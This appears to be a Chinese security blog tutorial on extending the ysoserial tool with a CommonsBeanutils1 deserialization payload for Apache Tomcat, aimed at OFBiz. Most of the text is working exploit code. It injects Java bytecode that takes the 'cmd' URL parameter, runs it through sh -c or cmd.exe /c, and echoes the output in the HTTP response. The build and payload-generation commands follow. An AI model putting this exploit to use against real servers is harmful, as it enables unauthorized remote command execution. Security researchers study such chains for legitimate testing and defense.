0x00 前言

之前的文章讲过了ysoserial工具架构和Tomcat半回显方法即利用ApplicationFilterChain实现。

这里看看怎么将这种半通用回显方法添加到ysoserial中。

0x01 添加payload

回忆下,要将自定义的payload添加到ysoserial的payloads包中时,需要满足:

  1. 自定义的payload类必须实现ObjectPayload接口类且必须重写其getObject()函数;
  2. 需要在main()函数中添加PayloadRunner测试方法;

这里以CommonsBeanutils1这条利用链为例,其他Gadget改造方法一样的。

简单地说就是把原本这条Gadget中直接通过Runtime.getRuntime().exec()来执行cmd命令换成我们的ApplicationFilterChain半回显代码来执行即可。

参考之前的文章中的半回显方法的代码,把代码中泛型部分去掉、将类名写成完整的类名以及添加小部分的类型转换,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段
// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

// 获取Field类的modifiers声明字段
java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers");

// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

// 清除代表final的那个bit,才能成功修改static final
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);

// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

// 尝试获取当前lastServicedRequest和lastServicedResponse的值
// 如果不是第一次访问该接口则为非null
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);

// 非null就可以直接获取URL参数cmd
String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("cmd") : null;
if (cmd != null) {
System.out.println("[*]获取到请求的cmd参数: " + cmd);
}

// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
// 也未新建lastServicedRequest与lastServicedResponse实例
if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);

// 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
} else if (cmd != null) {
// 执行cmd命令并添加到Response中回显

System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");

// 获取保存到lastServicedResponse中的ServletResponse
javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();
java.io.PrintWriter printWriter = servletResponse.getWriter();

// 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象
java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);

// 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()
// 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()
// 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的
// 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑
java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);

// 判断当前OS类型
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

// 执行命令并将结果写入ServletResponse的PrintWriter中
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
printWriter.write(output);
printWriter.flush();
}

接着在ysoserial/payloads/util/Gadgets类中添加自定义实现的两个createTomcatApplicationFilterChainTemplatesImpl()方法,具体说明看注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
	// 从ysoserial命令行传参的为指定URL参数名称
public static Object createTomcatApplicationFilterChainTemplatesImpl( final String param_name ) throws Exception {
// 默认URL参数名为cmd
String param = param_name.equals("") ? "cmd" : param_name;
// 将回显代码和URL参数名进行拼接
String echo_code = "// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段\n" +
"// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段\n" +
"java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName(\"org.apache.catalina.core.ApplicationDispatcher\").getDeclaredField(\"WRAP_SAME_OBJECT\");\n" +
"java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField(\"lastServicedRequest\");\n" +
"java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField(\"lastServicedResponse\");\n" +
"\n" +
"// 获取Field类的modifiers声明字段\n" +
"java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField(\"modifiers\");\n" +
"\n" +
"// 添加访问权限才能访问私有属性\n" +
"WRAP_SAME_OBJECT_FIELD.setAccessible(true);\n" +
"modifiersField.setAccessible(true);\n" +
"lastServicedRequestField.setAccessible(true);\n" +
"lastServicedResponseField.setAccessible(true);\n" +
"\n" +
"// 清除代表final的那个bit,才能成功修改static final\n" +
"modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" +
"modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" +
"modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);\n" +
"\n" +
"// 获取当前WRAP_SAME_OBJECT_FIELD的值\n" +
"boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);\n" +
"\n" +
"// 尝试获取当前lastServicedRequest和lastServicedResponse的值\n" +
"// 如果不是第一次访问该接口则为非null\n" +
"ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);\n" +
"ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);\n" +
"\n" +
"// 非null就可以直接获取URL参数cmd\n" +
"String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter(\"" + param + "\") : null;\n" +
"if (cmd != null) {\n" +
" System.out.println(\"[*]获取到请求的cmd参数: \" + cmd);\n" +
"}\n" +
"\n" +
"// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改\n" +
"// 也未新建lastServicedRequest与lastServicedResponse实例\n" +
"if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {\n" +
" System.out.println(\"[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true\");\n" +
" // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse\n" +
" WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);\n" +
"\n" +
" // 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错\n" +
" lastServicedRequestField.set(null, new ThreadLocal());\n" +
" lastServicedResponseField.set(null, new ThreadLocal());\n" +
"} else if (cmd != null) {\n" +
" // 执行cmd命令并添加到Response中回显\n" +
"\n" +
" System.out.println(\"[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数\");\n" +
"\n" +
" // 获取保存到lastServicedResponse中的ServletResponse\n" +
" javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();\n" +
" java.io.PrintWriter printWriter = servletResponse.getWriter();\n" +
"\n" +
" // 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象\n" +
" java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField(\"response\");\n" +
" responseField.setAccessible(true);\n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);\n" +
"\n" +
" // 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()\n" +
" // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()\n" +
" // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的\n" +
" // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑\n" +
" java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField(\"usingWriter\");\n" +
" usingWriterField.setAccessible(true);\n" +
" usingWriterField.set(response, Boolean.FALSE);\n" +
"\n" +
" // 判断当前OS类型\n" +
" boolean isLinux = true;\n" +
" String osType = System.getProperty(\"os.name\");\n" +
" if (osType != null && osType.toLowerCase().contains(\"win\")) {\n" +
" isLinux = false;\n" +
" }\n" +
"\n" +
" // 执行命令并将结果写入ServletResponse的PrintWriter中\n" +
" String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n" +
" java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter(\"\\\\a\");\n" +
" String output = scanner.hasNext() ? scanner.next() : \"\";\n" +
" printWriter.write(output);\n" +
" printWriter.flush();\n" +
"}";

if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTomcatApplicationFilterChainTemplatesImpl(
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"),
echo_code);
}
return createTomcatApplicationFilterChainTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, echo_code);
}

public static <T> T createTomcatApplicationFilterChainTemplatesImpl( Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String echo_code ) throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
// command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
// "\");";
// clazz.makeClassInitializer().insertAfter(cmd);

// 这里替换上述原本的Runtime直接执行命令为执行我们的回显代码
clazz.makeClassInitializer().insertAfter(echo_code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

然后新建CB1TomcatApplicationFilterChainEcho类,参考CommonsBeanutils1类,直接修改下重写的getObject()函数中调用Gadgets.createTomcatApplicationFilterChainTemplatesImpl()函数来获取新的TemplatesImpl类对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.math.BigInteger;
import java.util.PriorityQueue;

public class CB1TomcatApplicationFilterChainEcho implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTomcatApplicationFilterChainTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CB1TomcatApplicationFilterChainEcho.class, args);
}
}

最后,打包成新的jar包:

1
mvn clean package -DskipTests

0x02 Ofbiz回显利用

运行新编译生成的ysoserial工具,指定payload类为自定义的CB1TomcatApplicationFilterChainEcho类,其中参数为名为param的URL参数:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CB1TomcatApplicationFilterChainEcho "param" | base64 | tr -d "\n"

成功回显:

0x03 参考

https://github.com/kingkaki/ysoserial